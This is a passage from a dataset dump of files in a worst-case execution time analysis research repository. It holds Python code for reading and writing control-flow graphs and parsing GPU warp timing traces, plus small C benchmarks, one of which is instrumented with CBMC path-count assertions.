outs)\r\n" } ]
7
jiankangren/Projects
https://github.com/jiankangren/Projects
748b8e48daea5a737303ea1d703e1a83bb897902
fa70d3295f644fc5249ee9695591f085f328c365
1295d6e081b5877be09a669835689f5bf658b26a
refs/heads/master
2020-03-17T14:39:05.379010
2018-05-10T19:30:21
2018-05-10T19:30:21
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4990781843662262, "alphanum_fraction": 0.5015724897384644, "avg_line_length": 36.10330581665039, "blob_id": "456314c08d9d0b11f9b979cb6fa2bef69a7a3e42", "content_id": "8538ac91175262c66a7cf0dcb01cfc553bdf905d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9221, "license_type": "no_license", "max_line_length": 116, "num_lines": 242, "path": "/tools/system/program.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import collections\r\nimport os\r\n\r\nfrom graphs import graph\r\nfrom utils import messages\r\n\r\n\r\nclass Subprogram:\r\n def __init__(self, cfg: graph.ControlFlowGraph, call_vertex: graph.SubprogramVertex):\r\n if not cfg.name == call_vertex.name:\r\n raise ValueError('Subprogram name mismatch: Found {} and {}'.format(cfg.name, call_vertex.name))\r\n self.__cfg = cfg\r\n self.__call_vertex = call_vertex\r\n self.__ipg = None\r\n\r\n @property\r\n def name(self):\r\n return self.__cfg.name\r\n\r\n @property\r\n def cfg(self) -> graph.ControlFlowGraph:\r\n return self.__cfg\r\n\r\n @property\r\n def call_vertex(self) -> graph.SubprogramVertex:\r\n return self.__call_vertex\r\n\r\n @property\r\n def ipg(self):\r\n assert self.__ipg, 'No instrumentation point graph for {}'.format(self.__cfg.name)\r\n return self.__ipg\r\n\r\n @ipg.setter\r\n def ipg(self, ipg):\r\n self.__ipg = ipg\r\n\r\n\r\nclass Program:\r\n def __init__(self, filename):\r\n self._filename = filename\r\n self.__subprograms = collections.OrderedDict()\r\n self.__call_graph = graph.CallGraph(self)\r\n\r\n def add_subprogram(self, subprogram: Subprogram):\r\n assert subprogram.name not in self.__subprograms, 'Already have information on subprogram {}'.format(\r\n subprogram.name)\r\n self.__subprograms[subprogram.name] = subprogram\r\n self.__call_graph.add_vertex(subprogram.call_vertex)\r\n\r\n def remove_subprogram(self, subprogram: Subprogram):\r\n self.__call_graph.remove_vertex(subprogram.call_vertex)\r\n del self.__subprograms[subprogram.name]\r\n\r\n def __getitem__(self, name) -> Subprogram:\r\n assert name in self.__subprograms, \"No subprogram with name '{}'\".format(name)\r\n return self.__subprograms[name]\r\n\r\n def __contains__(self, name):\r\n return name in self.__subprograms\r\n\r\n def __iter__(self) -> Subprogram:\r\n for subprogram in self.__subprograms.values():\r\n yield subprogram\r\n\r\n @property\r\n def call_graph(self) -> graph.CallGraph:\r\n return self.__call_graph\r\n\r\n @property\r\n def filename(self):\r\n return self._filename\r\n\r\n def basename(self):\r\n base, _ = os.path.splitext(os.path.abspath(self._filename))\r\n return base\r\n\r\n def cleanup(self):\r\n for root, dirs, files in os.walk(self.basename()):\r\n for filename in files:\r\n filename = os.path.join(root, filename)\r\n _, ext = os.path.splitext(filename)\r\n if ext in ['.png', '.dot', '.ilp']:\r\n os.remove(filename)\r\n\r\n\r\nclass Properties:\r\n INSTRUMENTATION = 'instrumentation'\r\n WCET = 'wcet'\r\n BOUND = 'bound'\r\n\r\n def __init__(self):\r\n self.INSTRUMENTATION = None\r\n self.WCET = None\r\n self.BOUND = None\r\n\r\n @property\r\n def instrumentation(self):\r\n return self.INSTRUMENTATION\r\n\r\n @property\r\n def wcet(self):\r\n return self.WCET\r\n\r\n @property\r\n def bound(self):\r\n return self.BOUND\r\n\r\n\r\nclass IO:\r\n SUBPROGRAM = 'subprogram'\r\n VERTEX = 'vertex'\r\n EDGE = 'edge'\r\n\r\n @classmethod\r\n def new_lines(cls, number=1):\r\n return '\\n' * number\r\n\r\n @classmethod\r\n def write(cls, prog: Program, filename: str):\r\n with open(filename, 'w') as wd:\r\n for subprogram in prog:\r\n wd.write('{} {}'.format(cls.SUBPROGRAM, subprogram.name))\r\n wd.write(cls.new_lines())\r\n\r\n for v in subprogram.cfg:\r\n wd.write('{} {}'.format(cls.VERTEX, v))\r\n wd.write(cls.new_lines())\r\n for e in subprogram.cfg.successors(v):\r\n if e.successor() != subprogram.cfg.entry:\r\n wd.write('{} {} => {}'.format(cls.EDGE, e.predecessor(), e.successor()))\r\n wd.write(cls.new_lines())\r\n callee = prog.call_graph.is_call_site(subprogram.call_vertex, v)\r\n if callee:\r\n wd.write('{} {} => {}'.format(cls.EDGE, v, prog[callee.name].cfg.entry))\r\n wd.write(cls.new_lines())\r\n wd.write(cls.new_lines())\r\n\r\n wd.write(cls.new_lines(2))\r\n\r\n @classmethod\r\n def read(cls, filename: str) -> Program:\r\n Data = collections.namedtuple('Data', ['v', 'cfg'])\r\n cfgs = {}\r\n prog = Program(filename)\r\n vertex_data = {}\r\n with open(filename, 'r') as rd:\r\n for line in rd:\r\n lexemes = line.split()\r\n if lexemes:\r\n if lexemes[0] == cls.SUBPROGRAM:\r\n name = lexemes[1]\r\n cfg = graph.ControlFlowGraph(prog, name)\r\n cfgs[name] = cfg\r\n elif lexemes[0] == cls.VERTEX:\r\n id_ = int(lexemes[1])\r\n v = graph.Vertex(id_)\r\n cfg.add_vertex(v)\r\n vertex_data[id_] = Data(v, cfg)\r\n\r\n with open(filename, 'r') as rd:\r\n for line in rd:\r\n lexemes = line.split()\r\n if lexemes:\r\n if lexemes[0] == cls.SUBPROGRAM:\r\n name = lexemes[1]\r\n call = graph.SubprogramVertex(graph.Vertex.get_vertex_id(), name)\r\n subprogram = Subprogram(cfgs[name], call)\r\n prog.add_subprogram(subprogram)\r\n\r\n with open(filename, 'r') as rd:\r\n for line in rd:\r\n lexemes = line.split()\r\n if lexemes:\r\n if lexemes[0] == cls.EDGE:\r\n pred_id = int(lexemes[1])\r\n pred_v, pred_cfg = vertex_data[pred_id]\r\n succ_id = int(lexemes[3])\r\n succ_v, succ_cfg = vertex_data[succ_id]\r\n if pred_cfg == succ_cfg:\r\n pred_cfg.add_edge(graph.ControlFlowEdge(pred_v, succ_v))\r\n else:\r\n caller = prog[pred_cfg.name].call_vertex\r\n callee = prog[succ_cfg.name].call_vertex\r\n prog.call_graph.add_edge(graph.CallGraphEdge(caller, callee, pred_v))\r\n\r\n for subprogram in prog:\r\n (subprogram.cfg.entry,) = [v for v in subprogram.cfg if len(subprogram.cfg.predecessors(v)) == 0]\r\n (subprogram.cfg.exit,) = [v for v in subprogram.cfg if len(subprogram.cfg.successors(v)) == 0]\r\n return prog\r\n\r\n @classmethod\r\n def read_properties(cls, filename: str):\r\n\r\n def set_properties(property_string, program_point_properties):\r\n property_string = property_string.strip()\r\n property_string = property_string.lower()\r\n properties = property_string.split(',')\r\n properties = [l.split('=') for l in properties]\r\n for a_property in properties:\r\n assert len(a_property) == 2\r\n name, value = a_property\r\n if name == Properties.INSTRUMENTATION:\r\n try:\r\n program_point_properties.INSTRUMENTATION = int(value) == 1\r\n except ValueError:\r\n messages.error_message('Value of {} for property {} is invalid'.format(value, name.lower()))\r\n elif name == Properties.WCET:\r\n try:\r\n program_point_properties.WCET = int(value)\r\n except ValueError:\r\n messages.error_message('Value of {} for property {} is invalid'.format(value, name.lower()))\r\n elif name == Properties.BOUND:\r\n try:\r\n program_point_properties.BOUND = int(value)\r\n except ValueError:\r\n messages.error_message('Value of {} for property {} is invalid'.format(value, name.lower()))\r\n\r\n properties = {}\r\n with open(filename, 'r') as rd:\r\n for line in rd:\r\n l_index = line.find('[')\r\n r_index = line.rfind(']')\r\n if l_index > -1 and r_index > -1:\r\n prefix = line[:l_index]\r\n suffix = line[l_index+1:r_index]\r\n\r\n lexemes = prefix.split()\r\n if lexemes[0] == cls.VERTEX:\r\n id_ = int(lexemes[1])\r\n program_point = graph.Vertex.id_pool[id_]\r\n properties[program_point] = Properties()\r\n else:\r\n assert lexemes[0] == cls.EDGE\r\n pred_id = int(lexemes[1])\r\n p = graph.Vertex.id_pool[pred_id]\r\n succ_id = int(lexemes[3])\r\n s = graph.Vertex.id_pool[succ_id]\r\n program_point = graph.ControlFlowEdge(p, s)\r\n properties[program_point] = Properties()\r\n set_properties(suffix, properties[program_point])\r\n\r\n return properties\r\n" }, { "alpha_fraction": 0.5100502371788025, "alphanum_fraction": 0.5301507711410522, "avg_line_length": 14.018867492675781, "blob_id": "dc21b66797f49e7dd65e88de47c24dfe40ba9eb0", "content_id": "1fb4feeb2dcc9882cf3845549b94c9f03432675f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 796, "license_type": "no_license", "max_line_length": 84, "num_lines": 53, "path": "/benchmarks/shellsort/shellsort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Takes a vector of integers as arguments and sorts the vector into ascending order\n * using the shell sort algorihtm\n */\n\nconst int numGaps = 5;\nconst int gaps[5] = {16, 8, 4, 2, 1};\n\nvoid shellsort (int ARRAY_SIZE, int a[])\n{\n\tint g, gap;\n\tint i, j;\n\tint temp;\n\n\tfor (g = 0; g < numGaps; g++)\n\t{\n\t\tgap = gaps[g];\n\n\t\tfor (i = gap; i < ARRAY_SIZE; i++)\n\t\t{\n\t\t\ttemp = a[i];\n\t\t\tfor (j = i; j >= gap && a[j - gap] > temp; j -= gap)\n\t\t\t{\n\t\t\t\ta[j] = a[j - gap];\n\t\t\t}\n\t\t\ta[j] = temp;\n\t\t}\n\t}\n}\n\nint main (int argc, char *argv[])\n{\n\tconst int ARRAY_SIZE = argc - 1;\n\tint TV[ARRAY_SIZE];\n\tint i;\n\n\t/*\n\t * At least one integer value must be supplied\n\t */\n\tif (argc == 1)\n\t{\n\t\treturn 1;\n\t}\n\n\tfor (i = 0; i < argc - 1; ++i)\n\t{\n\t\tTV[i] = atoi (argv[i + 1]);\n\t}\n\n\tshellsort (ARRAY_SIZE, TV);\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5557404160499573, "alphanum_fraction": 0.5648918747901917, "avg_line_length": 14.610389709472656, "blob_id": "90e20a2298b7673d652bb84de740a154144da7cb", "content_id": "68e5f89e75da3b0907f7211adbb9fa86b2e0e501", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1202, "license_type": "no_license", "max_line_length": 96, "num_lines": 77, "path": "/benchmarks/datadeploop/datadeploop.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Takes a vector of integers as arguments and outputs a result\n * \n * Contains a loop with number of iterations dependent on the caluclated average of the elements\n * in the input vector\n */\n\nint sumArray (int ARRAY_SIZE, int a[])\n{\n int i, sum;\n\n sum = 0;\n for (i = 0; i < ARRAY_SIZE; i++)\n {\n sum += a[i];\n }\n\n return sum;\n}\n\nint calculateResult (int ARRAY_SIZE, int a[], int avg)\n{\n int i, j, bSum, bAvg;\n const int bSize = avg;\n int b[bSize];\n\n j = 0;\n for(i = 0; i < bSize; i++)\n {\n b[i] = a[j];\n j++;\n j = j % ARRAY_SIZE;\n }\n\n bSum = sumArray (bSize, b);\n bAvg = bSum / bSize;\n\n return avg - bAvg;\n}\n\nint datadeploop (int ARRAY_SIZE, int a[])\n{\n int i, sum, avg;\n\n sum = sumArray (ARRAY_SIZE, a);\n avg = sum / ARRAY_SIZE;\n\n int result = calculateResult (ARRAY_SIZE, a, avg);\n\n return result;\n}\n\nint main (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n int result = datadeploop (ARRAY_SIZE, TV);\n\n printf(\"%i\\n\", result);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5347437262535095, "alphanum_fraction": 0.539989709854126, "avg_line_length": 42.17844009399414, "blob_id": "c97028330594d2debde8ee3d36b6d99838f64747", "content_id": "9eaeb6e65942f20923d87d84672098d99de25f4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11628, "license_type": "no_license", "max_line_length": 165, "num_lines": 269, "path": "/GPUTimingAnalysis/src/Traces.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import Debug\nimport sys\n\nclass WarpTrace ():\n def __init__(self, multiprocessorID, warpID):\n self.__multiprocessorID = multiprocessorID\n self.__warpID = warpID\n self.__theTrace = []\n \n def getWarpID (self):\n return self.__warpID\n \n def getMultiprocessorID (self):\n return self.__multiprocessorID\n \n def appendToTrace (self, traceTuple):\n self.__theTrace.append(traceTuple)\n \n def getTrace (self):\n return self.__theTrace\n \nclass _TraceParser ():\n def __init__(self, warpTrace, program):\n Debug.debugMessage(\"Parsing traces in SM %s, WARP %s\" % (warpTrace.getMultiprocessorID(), warpTrace.getWarpID()), 5)\n self.numberOfTraces = {}\n # High water mark time\n self.highWaterMark = {}\n self.totalEnd2End = {}\n # Best-case execution time\n self.edgeIDToBCET = {}\n # Worst-case execution time\n self.edgeIDToWCET = {}\n # Worst-case execution count (overall and in run currently under analysis)\n self.edgeIDToWCEC = {}\n self.edgeIDToWCECInRun = {}\n # Total execution count\n self.edgeIDToExecutionCounts = {}\n # Total execution time consumed\n self.edgeIDToTotalTime = {}\n self.warpTrace = warpTrace\n self.__doParsing(program)\n \n def __getIPG (self, program, ipointID):\n for ipg in program.getIPGs():\n startv = ipg.getVertex(ipg.getEntryID())\n if startv.getIpointID() == ipointID:\n functionName = ipg.getName()\n if functionName not in self.highWaterMark:\n self.highWaterMark[functionName] = 0\n self.totalEnd2End[functionName] = 0\n self.numberOfTraces[functionName] = 0\n return ipg\n assert False, \"Cannot find IPG whose entry Ipoint ID is %d\" % ipointID\n \n def __doParsing (self, program):\n newTrace = True\n currentv = None\n lastTime = 0\n startTime = 0\n ipg = None\n \n for t in self.warpTrace.getTrace():\n ipointID = int(t[0], 0)\n time = long(t[1])\n Debug.debugMessage(\"Trace tuple (0x%04X, %d)\" % (ipointID, time), 10)\n if newTrace:\n ipg = self.__getIPG(program, ipointID)\n functionName = ipg.getName()\n self.numberOfTraces[functionName] += 1\n newTrace = False\n currentv = ipg.getVertex(ipg.getEntryID())\n assert currentv.getIpointID () == ipointID\n lastTime = time\n startTime = time\n else:\n succID = currentv.getIpointSuccessor(ipointID)\n if succID:\n succe = currentv.getSuccessorEdge(succID)\n self.__analyseEdgeTime(succe, time - lastTime)\n # Advance transition\n lastTime = time\n currentv = ipg.getVertex(succID)\n if succID == ipg.getExitID():\n newTrace = True\n runTime = lastTime - startTime\n functionName = ipg.getName()\n self.totalEnd2End[functionName] += runTime\n if runTime > self.highWaterMark[functionName]:\n self.highWaterMark[functionName] = runTime\n self.__analyseWorstCaseExecutionCounts()\n ipg = None\n else:\n Debug.exitMessage(\"Giving up\")\n \n def __analyseEdgeTime (self, succe, time):\n edgeID = succe.getEdgeID()\n if edgeID not in self.edgeIDToWCET.keys():\n self.edgeIDToBCET[edgeID] = time\n self.edgeIDToWCET[edgeID] = time\n self.edgeIDToTotalTime[edgeID] = time\n self.edgeIDToExecutionCounts[edgeID] = 1\n self.edgeIDToWCECInRun[edgeID] = 1\n else:\n if time > self.edgeIDToWCET[edgeID]:\n self.edgeIDToWCET[edgeID] = time\n if time < self.edgeIDToBCET[edgeID]:\n self.edgeIDToBCET[edgeID] = time\n self.edgeIDToTotalTime[edgeID] += time\n self.edgeIDToExecutionCounts[edgeID] += 1\n self.edgeIDToWCECInRun[edgeID] += 1\n \n def __analyseWorstCaseExecutionCounts (self):\n for edgeID, WCEC in self.edgeIDToWCECInRun.iteritems():\n if edgeID not in self.edgeIDToWCEC.keys():\n self.edgeIDToWCEC[edgeID] = WCEC\n else:\n if WCEC > self.edgeIDToWCEC[edgeID]:\n self.edgeIDToWCEC[edgeID] = WCEC\n self.edgeIDToWCECInRun[edgeID] = 0\n \n def getWCEC (self, edgeID):\n if edgeID in self.edgeIDToWCEC:\n return self.edgeIDToWCEC[edgeID]\n return 0\n\n def getWCET (self, edgeID):\n if edgeID in self.edgeIDToWCET:\n return self.edgeIDToWCET[edgeID]\n return 0\n\n def getBCET (self, edgeID):\n if edgeID in self.edgeIDToBCET:\n return self.edgeIDToBCET[edgeID]\n return 0 \n\n def getTotalTime (self, edgeID):\n if edgeID in self.edgeIDToTotalTime:\n return self.edgeIDToTotalTime[edgeID]\n return 0\n\n def getTotalExecutionCounts (self, edgeID):\n if edgeID in self.edgeIDToExecutionCounts:\n return self.edgeIDToExecutionCounts[edgeID]\n return 0 \n\nclass TraceData ():\n def __init__(self, allWarpTraces, program):\n self.__highWaterMark = {}\n self.__end2endACET = {}\n self.__edgeIDToBCET = {}\n self.__edgeIDToWCET = {}\n self.__edgeIDToWCEC = {}\n self.__edgeIDToExecutionCounts = {}\n self.__edgeIDToTotalTime = {}\n self.__numberOfWarps = len(allWarpTraces)\n self.__SMTOWarps = {}\n self.__edgeIDToWorstCaseWarpTrace = {}\n self.__edgeIDToBestCaseWarpTrace = {}\n self.__program = program\n \n # Parse each warp-specific trace\n self.tps = set([]) \n for w in allWarpTraces.values():\n self.tps.add(_TraceParser(w, program))\n SMID = w.getMultiprocessorID()\n if SMID not in self.__SMTOWarps.keys():\n self.__SMTOWarps[SMID] = [w.getWarpID()]\n else:\n self.__SMTOWarps[SMID].append(w.getWarpID())\n \n for ipg in program.getIPGs():\n functionName = ipg.getName()\n self.__highWaterMark[functionName] = 0\n self.__end2endACET[functionName] = 0\n \n # First work out the HWMT for each kernel and its average end-to-end\n # execution time\n averageDividend = 0\n averageDivisor = 0\n for t in self.tps:\n if functionName in t.highWaterMark:\n if t.highWaterMark[functionName] > self.__highWaterMark[functionName]:\n self.__highWaterMark[functionName] = t.highWaterMark[functionName]\n averageDividend += t.totalEnd2End[functionName]\n averageDivisor += t.numberOfTraces[functionName]\n assert averageDivisor > 0\n self.__end2endACET[functionName] = averageDividend/averageDivisor\n \n # Now work out timing information related to each edge\n for v in ipg:\n for succe in v.getSuccessorEdges():\n edgeID = succe.getEdgeID()\n self.__edgeIDToBCET[edgeID] = sys.maxint\n self.__edgeIDToWCET[edgeID] = 0\n self.__edgeIDToWCEC[edgeID] = 0\n self.__edgeIDToTotalTime[edgeID] = 0\n self.__edgeIDToExecutionCounts[edgeID] = 0\n for tp in self.tps:\n wcet = tp.getWCET(edgeID)\n wcec = tp.getWCEC(edgeID)\n bcet = tp.getBCET(edgeID)\n if wcet > self.__edgeIDToWCET[edgeID]:\n self.__edgeIDToWCET[edgeID] = wcet\n self.__edgeIDToWorstCaseWarpTrace[edgeID] = tp.warpTrace\n if wcec > self.__edgeIDToWCEC[edgeID]:\n self.__edgeIDToWCEC[edgeID] = wcec\n if bcet < self.__edgeIDToBCET[edgeID]:\n self.__edgeIDToBCET[edgeID] = bcet\n self.__edgeIDToBestCaseWarpTrace[edgeID] = tp.warpTrace\n self.__edgeIDToTotalTime[edgeID] += tp.getTotalTime(edgeID)\n self.__edgeIDToExecutionCounts[edgeID] += tp.getTotalExecutionCounts(edgeID)\n \n def getWCETOfEdge (self, edgeID):\n if edgeID in self.__edgeIDToWCET.keys():\n return self.__edgeIDToWCET[edgeID]\n else:\n return 0\n \n def getWCECOfEdge (self, edgeID):\n if edgeID in self.__edgeIDToWCEC.keys():\n return self.__edgeIDToWCEC[edgeID]\n else:\n return 0\n \n def getACETOfEdge (self, edgeID):\n if edgeID in self.__edgeIDToTotalTime.keys():\n assert self.__edgeIDToExecutionCounts[edgeID] != 0\n return self.__edgeIDToTotalTime[edgeID]/self.__edgeIDToExecutionCounts[edgeID]\n else:\n return 0\n \n def getExecutionCountOfEdge (self, edgeID):\n if edgeID in self.__edgeIDToExecutionCounts.keys():\n return self.__edgeIDToExecutionCounts[edgeID]\n else:\n return 0\n \n def getEdgeIDs (self):\n return self.__edgeIDToWCET.keys()\n \n def getHWMT(self, functionName):\n assert functionName in self.__highWaterMark, \"Unable to find HWMT for '%s'\" % functionName\n return self.__highWaterMark[functionName]\n \n def getACET(self, functionName):\n assert functionName in self.__end2endACET, \"Unable to find ACET for '%s'\" % functionName\n return self.__end2endACET[functionName]\n \n def output (self):\n print \"%s IPG edge data %s\" % (\"=\" * 11, \"=\" * 11)\n for edgeID, WCET in self.__edgeIDToWCET.iteritems():\n executionCount = self.__edgeIDToExecutionCounts[edgeID]\n print \"%s Edge %d %s\" % (\"=\" * 22, edgeID, \"=\" * 22)\n if executionCount > 0:\n totalTime = self.__edgeIDToTotalTime[edgeID]\n print \"BCET: %d. (Arises from warp %d in SM %d)\" \\\n % (self.__edgeIDToBCET[edgeID], self.__edgeIDToBestCaseWarpTrace[edgeID].getWarpID(), self.__edgeIDToBestCaseWarpTrace[edgeID].getMultiprocessorID())\n print \"ACET: %d\" % (totalTime/executionCount)\n print \"WCET: %d. (Arises from warp %d in SM %d)\" \\\n % (WCET, self.__edgeIDToWorstCaseWarpTrace[edgeID].getWarpID(), self.__edgeIDToWorstCaseWarpTrace[edgeID].getMultiprocessorID())\n print \"WCEC: %d\" % self.__edgeIDToWCEC[edgeID]\n print \"Total time: %d\" % totalTime\n print \"Execution count: %d\" % (executionCount/self.__numberOfWarps)\n else:\n print \"NOT executed\"\n \n print \"%s Streaming Multiprocessor data %s\" % (\"=\" * 11, \"=\" * 11)\n for SMID, warps in self.__SMTOWarps.iteritems():\n print \"SM %d had %d warps\" % (SMID, len(warps))\n\n " }, { "alpha_fraction": 0.4343695640563965, "alphanum_fraction": 0.5545910000801086, "avg_line_length": 22.142532348632812, "blob_id": "0b8a1c113a28ecca0015ff5b9b6657373e229733", "content_id": "950dbde1c8cac3695519838be00e3c3e801fa40d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 30527, "license_type": "no_license", "max_line_length": 78, "num_lines": 1319, "path": "/DaikonPathInformation/benchmarks/adpcm.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#define PI 3141\n#define TEST_VECTOR_LENGTH 4\n\nint xl,xh;\nint xout1,xout2;\nint xs,xd;\nint il,szl,spl,sl,el;\nint nbl; \nint al1,al2;\nint plt,plt1,plt2;\nint rs;\nint dlt;\nint detl;\nint rlt,rlt1,rlt2;\nint deth;\nint sh;\nint eh;\nint dh,ih;\nint nbh,szh;\nint sph,ph,yh,rh;\nint ah1,ah2;\nint ph1,ph2;\nint rh1,rh2;\nint ilr,yl,rl;\nint dec_deth,dec_detl,dec_dlt;\nint dec_plt,dec_plt1,dec_plt2;\nint dec_szl,dec_spl,dec_sl;\nint dec_rlt1,dec_rlt2,dec_rlt;\nint dec_al1,dec_al2;\nint dl;\nint dec_nbl,dec_yh,dec_dh,dec_nbh;\nint dec_szh;\nint dec_rh1,dec_rh2;\nint dec_ah1,dec_ah2;\nint dec_ph,dec_sph;\nint dec_sh,dec_rh;\nint dec_ph1,dec_ph2;\n\nint tqmf[24];\nint accumc[11];\nint accumd[11];\nint delay_bpl[6];\nint delay_dltx[6];\nint dec_del_bpl[6];\nint dec_del_dltx[6];\nint delay_dhx[6];\nint delay_bph[6];\nint dec_del_bph[6];\nint dec_del_dhx[6];\n\nint h[24] = {\n 12, -44, -44, 212, 48, -624, 128, 1448,\n -840, -3220, 3804, 15504, 15504, 3804, -3220, -840,\n 1448, 128, -624, 48, 212, -44, -44, 12\n};\n\nint qq4_code4_table[16] = {\n 0, -20456, -12896, -8968, -6288, -4240, -2584, -1200,\n 20456, 12896, 8968, 6288, 4240, 2584, 1200, 0\n};\n\nint qq5_code5_table[32] = {\n -280, -280, -23352, -17560, -14120, -11664, -9752, -8184,\n -6864, -5712, -4696, -3784, -2960, -2208, -1520, -880,\n 23352, 17560, 14120, 11664, 9752, 8184, 6864, 5712,\n 4696, 3784, 2960, 2208, 1520, 880, 280, -280\n};\n\nint qq6_code6_table[64] = {\n -136, -136, -136, -136, -24808, -21904, -19008, -16704,\n-14984, -13512, -12280, -11192, -10232, -9360, -8576, -7856,\n -7192, -6576, -6000, -5456, -4944, -4464, -4008, -3576,\n -3168, -2776, -2400, -2032, -1688, -1360, -1040, -728,\n 24808, 21904, 19008, 16704, 14984, 13512, 12280, 11192,\n 10232, 9360, 8576, 7856, 7192, 6576, 6000, 5456,\n 4944, 4464, 4008, 3576, 3168, 2776, 2400, 2032,\n 1688, 1360, 1040, 728, 432, 136, -432, -136\n};\n\nint wl_code_table[16] = {\n -60, 3042, 1198, 538, 334, 172, 58, -30,\n 3042, 1198, 538, 334, 172, 58, -30, -60\n};\n\nint wl_table[8] = {\n -60, -30, 58, 172, 334, 538, 1198, 3042\n};\n\nint ilb_table[32] = {\n 2048, 2093, 2139, 2186, 2233, 2282, 2332, 2383,\n 2435, 2489, 2543, 2599, 2656, 2714, 2774, 2834,\n 2896, 2960, 3025, 3091, 3158, 3228, 3298, 3371,\n 3444, 3520, 3597, 3676, 3756, 3838, 3922, 4008\n};\n\nint decis_levl[30] = {\n 280, 576, 880, 1200, 1520, 1864, 2208, 2584,\n 2960, 3376, 3784, 4240, 4696, 5200, 5712, 6288,\n 6864, 7520, 8184, 8968, 9752, 10712, 11664, 12896,\n 14120, 15840, 17560, 20456, 23352, 32767\n};\n\nint quant26bt_pos[31] = {\n 61, 60, 59, 58, 57, 56, 55, 54,\n 53, 52, 51, 50, 49, 48, 47, 46,\n 45, 44, 43, 42, 41, 40, 39, 38,\n 37, 36, 35, 34, 33, 32, 32\n};\n\nint quant26bt_neg[31] = {\n 63, 62, 31, 30, 29, 28, 27, 26,\n 25, 24, 23, 22, 21, 20, 19, 18,\n 17, 16, 15, 14, 13, 12, 11, 10,\n 9, 8, 7, 6, 5, 4, 4\n};\n\nint qq2_code2_table[4] = {\n -7408, -1616, 7408, 1616\n};\n\nint wh_code_table[4] = {\n 798, -214, 798, -214\n};\n\ntypedef struct \n{\n int real;\n int imag;\n} COMPLEX;\n\nint \nmy_abs (int n)\n{\n #ifdef CBMC\n//==========> my_abs : header 38\nint __count_41 = 0;\nint __count_38_39 = 0;\nint __count_40_41 = 0;\n #endif\n if (n >= 0) // 38\n {\n // 39\n #ifdef CBMC\n __count_38_39++;\n __count_41++;\n #endif\n\n#ifdef CBMC\nassert(__count_40_41 <= 1); // Upper capacity constraint\nassert(__count_38_39 <= 1); // Upper capacity constraint\nassert(__count_41 >= 1); // Lower capacity constraint\nassert(__count_41 <= 1); // Upper capacity constraint\nassert(__count_40_41 > 0 ==> __count_41 > 0); // Execution dependence\nassert(__count_38_39 > 0 ==> __count_41 > 0); // Execution dependence\n#endif\n\n return n;\n }\n else\n {\n #ifdef CBMC\n __count_40_41++;\n __count_41++;\n #endif\n // 40\n\n#ifdef CBMC\nassert(__count_40_41 <= 1); // Upper capacity constraint\nassert(__count_38_39 <= 1); // Upper capacity constraint\nassert(__count_41 >= 1); // Lower capacity constraint\nassert(__count_41 <= 1); // Upper capacity constraint\nassert(__count_40_41 > 0 ==> __count_41 > 0); // Execution dependence\nassert(__count_38_39 > 0 ==> __count_41 > 0); // Execution dependence\n#endif\n\n return-n; \n }\n}\n\nint \nmy_sin (int rad)\n{\n int diff;\n int app=0;\n int inc = 1;\n\n while (rad > 2*PI)\n {\n rad -= 2*PI;\n }\n \n while (rad < -2*PI)\n { \n rad += 2*PI;\n }\n \n diff = rad;\n app = diff;\n diff = (diff * (-(rad*rad))) / ((2 * inc) * (2 * inc + 1));\n app = app + diff;\n inc++;\n \n while (my_abs(diff) >= 1) \n {\n diff = (diff * (-(rad*rad))) / ((2 * inc) * (2 * inc + 1));\n app = app + diff;\n inc++;\n }\n\n return app;\n}\n\nint \nmy_cos (int rad)\n{\n return (my_sin (PI / 2 - rad));\n}\n\nvoid \nupzero (int dlt,int *dlti,int *bli)\n{\n #ifdef CBMC\n//==========> upzero : header 132\nint __count_129_131 = 0;\nint __count_130_131 = 0;\nint __count_132_128 = 0; //Loop counter\n//==========> upzero : header 125\nint __count_125_124 = 0;\nint __count_125_124_L = 0; //Loop counter\n//==========> upzero : header 122\nint __count_133 = 0;\nint __count_125_126 = 0;\nint __count_132_133 = 0;\n\n #endif\n\n int i,wd2,wd3;\n if(dlt == 0) // 122\n {\n #ifdef CBMC\n __count_125_124_L = 0;\n #endif\n for(i = 0 ; i < 6 ; i++) // 125\n {\n #ifdef CBMC\n __count_125_124++;\n __count_125_124_L++;\n #endif\n bli[i] = (int)((255L*bli[i]) >> 8L); \n }\n #ifdef CBMC\n assert(__count_125_124_L <= 7); // Loop counter property\n __count_125_126++;\n #endif\n }\n else \n {\n #ifdef CBMC\n __count_132_128 = 0;\n #endif\n for(i = 0 ; i < 6 ; i++) // 132\n {\n #ifdef CBMC\n __count_132_128++;\n #endif\n if ((long)dlt*dlti[i] >= 0) // 128\n { \n // 129\n wd2 = 128;\n #ifdef CBMC\n __count_129_131++;\n #endif\n }\n else\n { \n // 130\n wd2 = -128;\n #ifdef CBMC\n __count_130_131++;\n #endif\n }\n wd3 = (int)((255L*bli[i]) >> 8L); \n bli[i] = wd2 + wd3;\n }\n #ifdef CBMC\n assert(__count_132_128 <= 7); // Loop counter property\n __count_132_133++;\n #endif\n }\n \n dlti[5] = dlti[4];\n dlti[4] = dlti[3];\n dlti[3] = dlti[2];\n dlti[1] = dlti[0];\n dlti[0] = dlt;\n\n#ifdef CBMC\n__count_133++;\n#endif\n\n#ifdef CBMC\nassert(__count_129_131 <= 6); // Upper capacity constraint\nassert(__count_130_131 == 0); // Dead code\nassert(__count_133 >= 1); // Lower capacity constraint\nassert(__count_133 <= 1); // Upper capacity constraint\nassert(__count_132_133 <= 1); // Upper capacity constraint\nassert(__count_125_124 <= 6); // 